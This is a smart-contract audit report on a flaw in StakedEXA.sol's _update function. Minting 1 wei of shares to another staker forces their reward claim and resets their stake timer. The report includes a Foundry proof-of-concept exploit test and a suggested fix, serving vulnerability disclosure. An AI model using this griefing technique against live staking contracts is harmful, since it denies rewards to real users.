Odd Opaque Fox

Medium

# Unauthorized Impromptu Reward Withdrawal and Denial of Service caused by `_update` Function

## Summary

The `_update` function within `StakedEXA.sol` has a flaw that allows a random user to trigger an impromptu withdrawal of rewards for another user who has staked before and whose stake time is greater than the reference time. This can be done by simply minting 1 wei of shares to the other user, causing all accrued rewards to be claimed and the average start time to be reset. As a result, the affected user will be unable to claim further rewards for that stake.

## Vulnerability Detail

The `_update` function checks if the `from` address is zero, which indicates a mint operation. If the `to` address has staked before and the elapsed time since the average start time is greater than the reference time, the function claims all accrued rewards for the `to` address and resets the average start time. A random user can exploit this by minting 1 wei of shares to the `to` address, triggering an impromptu `Claimwithdraw()` and preventing the `to` address from claiming further rewards.

> [!NOTE]
Dividend module: Users who stake their EXA tokens will receive dividends based on the staking duration. The dividend index updates regularly, ensuring that participants who stake for longer periods receive proportional rewards. This module supports multiple assets, although a single-asset approach can simplify the dividend distribution

## Impact

A malicious user can prevent another user from claiming further rewards . This can disrupt the expected behavior of the staking mechanism and result in a denial of service for the affected user.
[\_update](https://github.com/sherlock-audit/2024-07-exactly-stacking-contracts/blob/main/protocol/contracts/StakedEXA.sol#L131-L151)

## Code Snippet

```solidity
    if (from == address(0)) {
      uint256 start = avgStart[to];
      uint256 time = start != 0 ? block.timestamp * 1e18 - start : 0; // @audit if the user(to) has staked before it returns the time difference..Average
      uint256 memRefTime = refTime * 1e18;
      uint256 balance = balanceOf(to); // @audit assume to is an existing user with stake
      uint256 total = amount + balance;

      for (uint256 i = 0; i < rewardsTokens.length; ++i) {
        IERC20 reward = rewardsTokens[i];
        updateIndex(reward);

        if (time > memRefTime) { // assuming this passes
          // there should be a check here to confirm that msg.sender is == to in this case before withdrawing.
          if (balance != 0) claimWithdraw(reward, to, balance); // @audit can withdraw impromptu for someone who staked before..
          avgIndexes[to][reward] = rewards[reward].index;
        }
}
```

` if (time > memRefTime) avgStart[to] = block.timestamp * 1e18;`

## Proof of Concept

```solidity
  function test_Malicious_Trigger_WithdrawWithRewards_DOS(uint256 assets) external {
    assets = _bound(assets, 500, type(uint80).max);

    // first user makes his stake
    exa.mint(address(this), assets);
    stEXA.deposit(assets, address(this));

    // store average start time at deposit
    uint firstAvgStart = stEXA.avgStart(address(this));

    // assume time has exceeded minimum stake duration for first user
    vm.warp(block.timestamp + duration + 30 days);

    // Malicious user now mints 1 shares to first user to trigger claimWithdraw and reset AvgStake time
    vm.startPrank(address(333));
    exa.mint(address(333), 333);
    exa.approve(address(stEXA), type(uint256).max);
    stEXA.mint( 1 wei, address(this));
    // all rewards would have been claimed for the first user.
    vm.stopPrank();

    // store average start time after malicious trigger of claimWithdraw
    uint secondAvgStart = stEXA.avgStart(address(this));

    // assert that secondAvgStart > firstAvgStart
    assertGt(secondAvgStart, firstAvgStart);

    // first user is forced to withdraw stake cause no further rewards can be gotten on the stake
    vm.warp(block.timestamp + duration + 30 days * 30 days); // <--- assuming first user leaves stake for longer period and withdraws he still gets 0 rewards.
    stEXA.withdraw(assets, address(this), address(this));
  }
```

Add this test to the `StakedEXA.t.sol` file and run the following command:

```sh
forge t --mc StakedEXATest --mt test_Malicious_Trigger_WithdrawWithRewards_DOS -vvvvv
```

## Tool Used

Manual Review

## Recommendation

Add a check to confirm that `msg.sender` is equal to `to` before allowing a withdrawal:

```solidity
if (time > memRefTime) {
    if (balance != 0 && msg.sender == to)
    { claimWithdraw(reward, to, balance);
    avgIndexes[to][reward] = rewards[reward].index;
    }
}
```